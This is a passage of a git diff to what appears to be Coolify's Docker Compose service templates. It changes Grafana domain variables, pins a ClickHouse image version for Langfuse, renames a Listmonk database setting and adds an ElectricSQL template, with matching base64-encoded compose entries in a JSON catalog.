retries: 5 diff --git a/templates/compose/grafana-with-postgresql.yaml b/templates/compose/grafana-with-postgresql.yaml index 25add4cc2..6c5dda659 100644 --- a/templates/compose/grafana-with-postgresql.yaml +++ b/templates/compose/grafana-with-postgresql.yaml @@ -11,7 +11,7 @@ services: environment: - SERVICE_URL_GRAFANA_3000 - GF_SERVER_ROOT_URL=${SERVICE_URL_GRAFANA} - - GF_SERVER_DOMAIN=${SERVICE_URL_GRAFANA} + - GF_SERVER_DOMAIN=${SERVICE_FQDN_GRAFANA} - GF_SECURITY_ADMIN_PASSWORD=${SERVICE_PASSWORD_GRAFANA} - GF_DATABASE_TYPE=postgres - GF_DATABASE_HOST=postgresql diff --git a/templates/compose/grafana.yaml b/templates/compose/grafana.yaml index a570c6c79..ed1689f58 100644 --- a/templates/compose/grafana.yaml +++ b/templates/compose/grafana.yaml @@ -11,7 +11,7 @@ services: environment: - SERVICE_URL_GRAFANA_3000 - GF_SERVER_ROOT_URL=${SERVICE_URL_GRAFANA} - - GF_SERVER_DOMAIN=${SERVICE_URL_GRAFANA} + - GF_SERVER_DOMAIN=${SERVICE_FQDN_GRAFANA} - GF_SECURITY_ADMIN_PASSWORD=${SERVICE_PASSWORD_GRAFANA} volumes: - grafana-data:/var/lib/grafana diff --git a/templates/compose/langfuse.yaml b/templates/compose/langfuse.yaml index 2b877307f..b617cec5c 100644 --- a/templates/compose/langfuse.yaml +++ b/templates/compose/langfuse.yaml @@ -119,7 +119,7 @@ services: retries: 10 clickhouse: - image: clickhouse/clickhouse-server:latest + image: clickhouse/clickhouse-server:26.2.4.23 user: "101:101" environment: - CLICKHOUSE_DB=${CLICKHOUSE_DB:-default} diff --git a/templates/compose/listmonk.yaml b/templates/compose/listmonk.yaml index fa73f6ff7..a204c9f74 100644 --- a/templates/compose/listmonk.yaml +++ b/templates/compose/listmonk.yaml @@ -12,7 +12,7 @@ services: - SERVICE_URL_LISTMONK_9000 - LISTMONK_app__address=0.0.0.0:9000 - LISTMONK_db__host=postgres - - LISTMONK_db__name=listmonk + - LISTMONK_db__database=listmonk - LISTMONK_db__user=$SERVICE_USER_POSTGRES - LISTMONK_db__password=$SERVICE_PASSWORD_POSTGRES - LISTMONK_db__port=5432 @@ -37,7 +37,7 @@ services: condition: service_healthy environment: - LISTMONK_db__host=postgres - - LISTMONK_db__name=listmonk + - LISTMONK_db__database=listmonk - LISTMONK_db__user=$SERVICE_USER_POSTGRES - LISTMONK_db__password=$SERVICE_PASSWORD_POSTGRES - LISTMONK_db__port=5432 diff --git a/templates/service-templates-latest.json b/templates/service-templates-latest.json index 51cb39de0..590d0ab64 100644 --- a/templates/service-templates-latest.json +++ b/templates/service-templates-latest.json @@ -1102,6 +1102,22 @@ "minversion": "0.0.0", "port": "9200" }, + "electricsql": { + "documentation": "https://electric-sql.com/docs/guides/deployment?utm_source=coolify.io", + "slogan": "Sync shape-based subsets of your Postgres data over HTTP.", + "compose": "c2VydmljZXM6CiAgZWxlY3RyaWM6CiAgICBpbWFnZTogJ2VsZWN0cmljc3FsL2VsZWN0cmljOjEuNC4yJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfRUxFQ1RSSUNfMzAwMAogICAgICAtICdEQVRBQkFTRV9VUkw9JHtEQVRBQkFTRV9VUkw6P30nCiAgICAgIC0gJ0VMRUNUUklDX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfNjRfRUxFQ1RSSUN9JwogICAgICAtIEVMRUNUUklDX1NUT1JBR0VfRElSPS9hcHAvcGVyc2lzdGVudAogICAgICAtICdFTEVDVFJJQ19VU0FHRV9SRVBPUlRJTkc9JHtFTEVDVFJJQ19VU0FHRV9SRVBPUlRJTkc6LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2VsZWN0cmljX2RhdGE6L2FwcC9wZXJzaXN0ZW50JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjMwMDAvdjEvaGVhbHRoJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDUK", + "tags": [ + "electric", + "electricsql", + "realtime", + "sync", + "postgresql" + ], + "category": "backend", + "logo": "svgs/electricsql.svg", + "minversion": "0.0.0", + "port": "3000" + }, "emby": { "documentation": "https://emby.media/support/articles/Home.html?utm_source=coolify.io", "slogan": "A media server software that allows you to organize, stream, and access your multimedia content effortlessly.", @@ -1847,7 +1863,7 @@ "grafana-with-postgresql": { "documentation": "https://grafana.com?utm_source=coolify.io", "slogan": "Grafana is the open source analytics & monitoring solution for every database.", - "compose": "c2VydmljZXM6CiAgZ3JhZmFuYToKICAgIGltYWdlOiBncmFmYW5hL2dyYWZhbmEtb3NzCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9HUkFGQU5BXzMwMDAKICAgICAgLSAnR0ZfU0VSVkVSX1JPT1RfVVJMPSR7U0VSVklDRV9VUkxfR1JBRkFOQX0nCiAgICAgIC0gJ0dGX1NFUlZFUl9ET01BSU49JHtTRVJWSUNFX1VSTF9HUkFGQU5BfScKICAgICAgLSAnR0ZfU0VDVVJJVFlfQURNSU5fUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0dSQUZBTkF9JwogICAgICAtIEdGX0RBVEFCQVNFX1RZUEU9cG9zdGdyZXMKICAgICAgLSBHRl9EQVRBQkFTRV9IT1NUPXBvc3RncmVzcWwKICAgICAgLSBHRl9EQVRBQkFTRV9VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBHRl9EQVRBQkFTRV9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtICdHRl9EQVRBQkFTRV9OQU1FPSR7UE9TVEdSRVNfREI6LWdyYWZhbmF9JwogICAgdm9sdW1lczoKICAgICAgLSAnZ3JhZmFuYS1kYXRhOi92YXIvbGliL2dyYWZhbmEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMC9hcGkvaGVhbHRoJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICAtIHBvc3RncmVzcWwKICBwb3N0Z3Jlc3FsOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNi1hbHBpbmUnCiAgICB2b2x1bWVzOgogICAgICAtICdwb3N0Z3Jlc3FsLWRhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gUE9TVEdSRVNfVVNFUj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gUE9TVEdSRVNfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotZ3JhZmFuYX0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==", + "compose": "c2VydmljZXM6CiAgZ3JhZmFuYToKICAgIGltYWdlOiBncmFmYW5hL2dyYWZhbmEtb3NzCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9HUkFGQU5BXzMwMDAKICAgICAgLSAnR0ZfU0VSVkVSX1JPT1RfVVJMPSR7U0VSVklDRV9VUkxfR1JBRkFOQX0nCiAgICAgIC0gJ0dGX1NFUlZFUl9ET01BSU49JHtTRVJWSUNFX0ZRRE5fR1JBRkFOQX0nCiAgICAgIC0gJ0dGX1NFQ1VSSVRZX0FETUlOX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9HUkFGQU5BfScKICAgICAgLSBHRl9EQVRBQkFTRV9UWVBFPXBvc3RncmVzCiAgICAgIC0gR0ZfREFUQUJBU0VfSE9TVD1wb3N0Z3Jlc3FsCiAgICAgIC0gR0ZfREFUQUJBU0VfVVNFUj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gR0ZfREFUQUJBU0VfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSAnR0ZfREFUQUJBU0VfTkFNRT0ke1BPU1RHUkVTX0RCOi1ncmFmYW5hfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2dyYWZhbmEtZGF0YTovdmFyL2xpYi9ncmFmYW5hJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjMwMDAvYXBpL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogICAgZGVwZW5kc19vbjoKICAgICAgLSBwb3N0Z3Jlc3FsCiAgcG9zdGdyZXNxbDoKICAgIGltYWdlOiAncG9zdGdyZXM6MTYtYWxwaW5lJwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXNxbC1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGVudmlyb25tZW50OgogICAgICAtIFBPU1RHUkVTX1VTRVI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIFBPU1RHUkVTX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LWdyYWZhbmF9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", "tags": [ "grafana", "analytics", @@ -1862,7 +1878,7 @@ "grafana": { "documentation": "https://grafana.com?utm_source=coolify.io", "slogan": "Grafana is the open source analytics & monitoring solution for every database.", - "compose": "c2VydmljZXM6CiAgZ3JhZmFuYToKICAgIGltYWdlOiBncmFmYW5hL2dyYWZhbmEtb3NzCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9HUkFGQU5BXzMwMDAKICAgICAgLSAnR0ZfU0VSVkVSX1JPT1RfVVJMPSR7U0VSVklDRV9VUkxfR1JBRkFOQX0nCiAgICAgIC0gJ0dGX1NFUlZFUl9ET01BSU49JHtTRVJWSUNFX1VSTF9HUkFGQU5BfScKICAgICAgLSAnR0ZfU0VDVVJJVFlfQURNSU5fUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0dSQUZBTkF9JwogICAgdm9sdW1lczoKICAgICAgLSAnZ3JhZmFuYS1kYXRhOi92YXIvbGliL2dyYWZhbmEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMC9hcGkvaGVhbHRoJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==", + "compose": "c2VydmljZXM6CiAgZ3JhZmFuYToKICAgIGltYWdlOiBncmFmYW5hL2dyYWZhbmEtb3NzCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9HUkFGQU5BXzMwMDAKICAgICAgLSAnR0ZfU0VSVkVSX1JPT1RfVVJMPSR7U0VSVklDRV9VUkxfR1JBRkFOQX0nCiAgICAgIC0gJ0dGX1NFUlZFUl9ET01BSU49JHtTRVJWSUNFX0ZRRE5fR1JBRkFOQX0nCiAgICAgIC0gJ0dGX1NFQ1VSSVRZX0FETUlOX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9HUkFGQU5BfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2dyYWZhbmEtZGF0YTovdmFyL2xpYi9ncmFmYW5hJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjMwMDAvYXBpL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", "tags": [ "grafana", "analytics", @@ -2356,7 +2372,7 @@ "langfuse": { "documentation": "https://langfuse.com/docs?utm_source=coolify.io", "slogan": "Langfuse is an open-source LLM engineering platform that helps teams collaboratively debug, analyze, and iterate on their LLM applications.", - "compose": "eC1hcHAtZW52OgogIC0gJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfVVJMX0xBTkdGVVNFfScKICAtICdEQVRBQkFTRV9VUkw9cG9zdGdyZXNxbDovLyR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfToke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU19EQjotbGFuZ2Z1c2UtZGJ9JwogIC0gJ1NBTFQ9JHtTRVJWSUNFX1BBU1NXT1JEX1NBTFR9JwogIC0gJ0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9QQVNTV09SRF82NF9MQU5HRlVTRX0nCiAgLSAnVEVMRU1FVFJZX0VOQUJMRUQ9JHtURUxFTUVUUllfRU5BQkxFRDotZmFsc2V9JwogIC0gJ0xBTkdGVVNFX0VOQUJMRV9FWFBFUklNRU5UQUxfRkVBVFVSRVM9JHtMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTOi1mYWxzZX0nCiAgLSAnQ0xJQ0tIT1VTRV9NSUdSQVRJT05fVVJMPWNsaWNraG91c2U6Ly9jbGlja2hvdXNlOjkwMDAnCiAgLSAnQ0xJQ0tIT1VTRV9VUkw9aHR0cDovL2NsaWNraG91c2U6ODEyMycKICAtICdDTElDS0hPVVNFX1VTRVI9JHtTRVJWSUNFX1VTRVJfQ0xJQ0tIT1VTRX0nCiAgLSAnQ0xJQ0tIT1VTRV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQ0xJQ0tIT1VTRX0nCiAgLSBDTElDS0hPVVNFX0NMVVNURVJfRU5BQkxFRD1mYWxzZQogIC0gJ0xBTkdGVVNFX1VTRV9BWlVSRV9CTE9CPSR7TEFOR0ZVU0VfVVNFX0FaVVJFX0JMT0I6LWZhbHNlfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OOi1hdXRvfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9BQ0NFU1NfS0VZX0lEfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVH0nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9QUkVGSVg6LWV2ZW50cy99JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1JFR0lPTj0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9SRUdJT046LWF1dG99JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0VORFBPSU5UfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWDotbWVkaWEvfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5BQkxFRD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkFCTEVEOi1mYWxzZX0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9CVUNLRVQ6LWxhbmdmdXNlfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUFJFRklYPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWDotZXhwb3J0cy99JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9SRUdJT049JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUkVHSU9OOi1hdXRvfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlR9JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVH0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQUNDRVNTX0tFWV9JRH0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAtICdMQU5HRlVTRV9JTkdFU1RJT05fUVVFVUVfREVMQVlfTVM9JHtMQU5HRlVTRV9JTkdFU1RJT05fUVVFVUVfREVMQVlfTVM6LTF9JwogIC0gJ0xBTkdGVVNFX0lOR0VTVElPTl9DTElDS0hPVVNFX1dSSVRFX0lOVEVSVkFMX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM6LTEwMDB9JwogIC0gUkVESVNfSE9TVD1yZWRpcwogIC0gUkVESVNfUE9SVD02Mzc5CiAgLSAnUkVESVNfQVVUSD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogIC0gJ0VNQUlMX0ZST01fQUREUkVTUz0ke0VNQUlMX0ZST01fQUREUkVTUzotYWRtaW5AZXhhbXBsZS5jb219JwogIC0gJ1NNVFBfQ09OTkVDVElPTl9VUkw9JHtTTVRQX0NPTk5FQ1RJT05fVVJMOi19JwogIC0gJ05FWFRBVVRIX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0X05FWFRBVVRIU0VDUkVUfScKICAtICdBVVRIX0RJU0FCTEVfU0lHTlVQPSR7QVVUSF9ESVNBQkxFX1NJR05VUDotdHJ1ZX0nCiAgLSAnSE9TVE5BTUU9JHtIT1NUTkFNRTotMC4wLjAuMH0nCiAgLSAnTEFOR0ZVU0VfSU5JVF9PUkdfSUQ9JHtMQU5HRlVTRV9JTklUX09SR19JRDotbXktb3JnfScKICAtICdMQU5HRlVTRV9JTklUX09SR19OQU1FPSR7TEFOR0ZVU0VfSU5JVF9PUkdfTkFNRTotTXkgT3JnfScKICAtICdMQU5HRlVTRV9JTklUX1BST0pFQ1RfSUQ9JHtMQU5HRlVTRV9JTklUX1BST0pFQ1RfSUQ6LW15LXByb2plY3R9JwogIC0gJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9OQU1FPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU6LU15IFByb2plY3R9JwogIC0gJ0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTD0ke0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogIC0gJ0xBTkdGVVNFX0lOSVRfVVNFUl9OQU1FPSR7U0VSVklDRV9VU0VSX0xBTkdGVVNFfScKICAtICdMQU5HRlVTRV9JTklUX1VTRVJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0xBTkdGVVNFfScKc2VydmljZXM6CiAgbGFuZ2Z1c2U6CiAgICBpbWFnZTogJ2xhbmdmdXNlL2xhbmdmdXNlOjMnCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBjbGlja2hvdXNlOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgMDogJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfVVJMX0xBTkdGVVNFfScKICAgICAgMTogJ0RBVEFCQVNFX1VSTD1wb3N0Z3Jlc3FsOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AcG9zdGdyZXM6NTQzMi8ke1BPU1RHUkVTX0RCOi1sYW5nZnVzZS1kYn0nCiAgICAgIDI6ICdTQUxUPSR7U0VSVklDRV9QQVNTV09SRF9TQUxUfScKICAgICAgMzogJ0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9QQVNTV09SRF82NF9MQU5HRlVTRX0nCiAgICAgIDQ6ICdURUxFTUVUUllfRU5BQkxFRD0ke1RFTEVNRVRSWV9FTkFCTEVEOi1mYWxzZX0nCiAgICAgIDU6ICdMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTPSR7TEFOR0ZVU0VfRU5BQkxFX0VYUEVSSU1FTlRBTF9GRUFUVVJFUzotZmFsc2V9JwogICAgICA2OiAnQ0xJQ0tIT1VTRV9NSUdSQVRJT05fVVJMPWNsaWNraG91c2U6Ly9jbGlja2hvdXNlOjkwMDAnCiAgICAgIDc6ICdDTElDS0hPVVNFX1VSTD1odHRwOi8vY2xpY2tob3VzZTo4MTIzJwogICAgICA4OiAnQ0xJQ0tIT1VTRV9VU0VSPSR7U0VSVklDRV9VU0VSX0NMSUNLSE9VU0V9JwogICAgICA5OiAnQ0xJQ0tIT1VTRV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQ0xJQ0tIT1VTRX0nCiAgICAgIDEwOiBDTElDS0hPVVNFX0NMVVNURVJfRU5BQkxFRD1mYWxzZQogICAgICAxMTogJ0xBTkdGVVNFX1VTRV9BWlVSRV9CTE9CPSR7TEFOR0ZVU0VfVVNFX0FaVVJFX0JMT0I6LWZhbHNlfScKICAgICAgMTI6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAxMzogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OOi1hdXRvfScKICAgICAgMTQ6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9BQ0NFU1NfS0VZX0lEfScKICAgICAgMTU6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAxNjogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVH0nCiAgICAgIDE3OiAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgICAgIDE4OiAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9QUkVGSVg6LWV2ZW50cy99JwogICAgICAxOTogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgICAgIDIwOiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1JFR0lPTj0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9SRUdJT046LWF1dG99JwogICAgICAyMTogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogICAgICAyMjogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgICAgIDIzOiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0VORFBPSU5UfScKICAgICAgMjQ6ICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgMjU6ICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWDotbWVkaWEvfScKICAgICAgMjY6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5BQkxFRD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkFCTEVEOi1mYWxzZX0nCiAgICAgIDI3OiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9CVUNLRVQ6LWxhbmdmdXNlfScKICAgICAgMjg6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUFJFRklYPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWDotZXhwb